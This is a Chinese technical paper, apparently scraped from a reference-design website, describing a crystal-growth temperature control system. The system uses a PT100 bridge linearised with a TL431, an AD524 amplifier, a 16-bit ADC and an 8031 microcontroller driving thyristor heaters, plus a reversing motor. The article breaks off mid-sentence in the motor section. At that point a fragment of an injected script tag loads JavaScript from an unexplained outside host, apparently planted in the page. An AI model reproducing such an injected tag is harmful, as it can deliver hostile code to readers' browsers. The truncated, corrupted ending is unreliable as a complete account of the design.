晶体生长控制中的高精度控温系统

  摘 要:介绍晶体生长控温系统的组成,微弱温差信号的接 口调理方法及智能控制器的分级控制方式。系统控温范围(25~75)℃,控温精度达0. 01℃,分辨率0.001℃,投入使用多年来,工作稳定可靠。

  关键词:晶体生长;控温;信号调理
high precision temperature control system in the crystal growth control
yang qi, yang xiaoling
(physics and information engineering college, fuzhou university,

fuzh ou 350002, china)
  abstract: this paper introduces the composing of crystal growth thermocontrol. a interface processing method of faint difference signal in tem perature and classifying control measure of intelligent controller are discussed . the temperature control range of the system is (25~75)℃, precision reaches 0 .01℃, and resolution attains to 0.001℃.

  keywords: crystal growth; thermocontrol; signal processing

1系统硬件组成

  晶体生长控温系统如图1所示,高精度温度变送器把检测到的微弱温差信号放大后经a/d转 换 ,由单片机系统进行数据采集和分析处理,一方面由led显示现场采集温度值,另一方面把 该采集信号与键盘设置的温度值进行比较,提取温差量及温差变化量,作为智能控制的输入 参数。输出量控制晶闸管驱动电路,进一步控制加热棒的功率,达到控温目的。由于晶体生 长是在旋转运动下进行的,因此,整个载晶装置由一可逆电机控制其旋转过程。此外系统还 设计了微打接口及温度越限声光报警电路。

1.1高精度温度变送器

  系统选用pt100作为温度传感器。它的温度系数α=0.00385/℃,对于0.001℃ 的微小温差变化,pt100的电阻值变化约为0.385mω,如此小的电阻变化量经电桥转 换后,电信号最大也只能达到0.5~1μv,因此处理微伏级弱信号的接口调理方法, 包括高精度不平衡直流电桥,低截频模拟滤波器,低噪声、低漂移、高灵敏度直流放大器及 接地体等环节的设计。

  高精度温度变送电路如图2所示,铂电阻rt作为不平衡直流电桥的一个桥臂,r2、r3 、r4 为桥臂电阻,v为电桥激励电压,rt=r1+ δr,r1为电桥输出信号δv为零时 rt的阻值,采用精密可调分路稳压器tl431对电桥输出进行线性化设计。tl431的 r为控制端,当r端的电位确定之后,k和a端就象一只普通的稳压管一样,不过其稳压值随r 端的电位而变,稳压性能十分优良。因此,电桥的激励电压随铂传感器阻值的变化而变化, 使流过传感器的电流为恒定值,达到线性化输出的目的。

  由图2电路可知:

  

  

当电桥平衡时有:r1r4=r2r3,rt=r1+δr 。代入上式并整理得:

  

  对于具体温度测控系统,r2、r3、r4均为已知,vref 为tl431的内部基准电压,是一恒值,因此电桥的输出电压δv与δr成线性关系,即电桥输出实现线性化。电阻r2、r3、r4均选温度系数小且同方向变化的线绕精密电阻,这样电桥输出信号达到高稳定度目的。

  选择ad524作为温度变送器的放大电路,其增益可由外接电阻rg调整,rg的温度效应将 引起ad524放大倍数漂移或精密度等级下降,在高精度控温系统中,必须对增益电阻的温度 效应进行补偿,具体设计方法见文献[2]。

  ad524放大的输出信号经其后接的二阶低通滤波器滤除电源干扰,rc滤波器的通带宽度设计 为1.4hz,它适用于缓慢变化温度信号的带通要求,而对于高频干扰信号,低通 滤波 器具有良好的抗干扰能力。此外,输入信号采用双绞屏蔽线连接,以降低外界电磁干扰,放 大器的输入端采用紧密的对称布局,降低接点热偶效应的影响,提高系统的稳定性。

1.2单片机系统及其接口

  温度变送电路的输出信号,经16位a/d转换器ad976转换和8031构成的智能控制系统分析处理 后,由led显示现场温度值,同时输出信号控制晶闸管电路工作情况,从而控制槽中加热棒 的工作,达到控温的目的。晶闸管采用过零触发方式,输出功率采用pwm脉宽调节,避免负 载电流产生瞬态浪涌过程,减少射频干扰及延长晶闸管的使用寿命。

  为使晶体生长均匀,要求载晶装置处于旋转运动中,即要求其按正转—停—反转—停—正转 规律不断运行,这一过程由图3的可逆小电机及其控制电路实现,系统要求电机转速较慢, 扭矩有较大的动?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计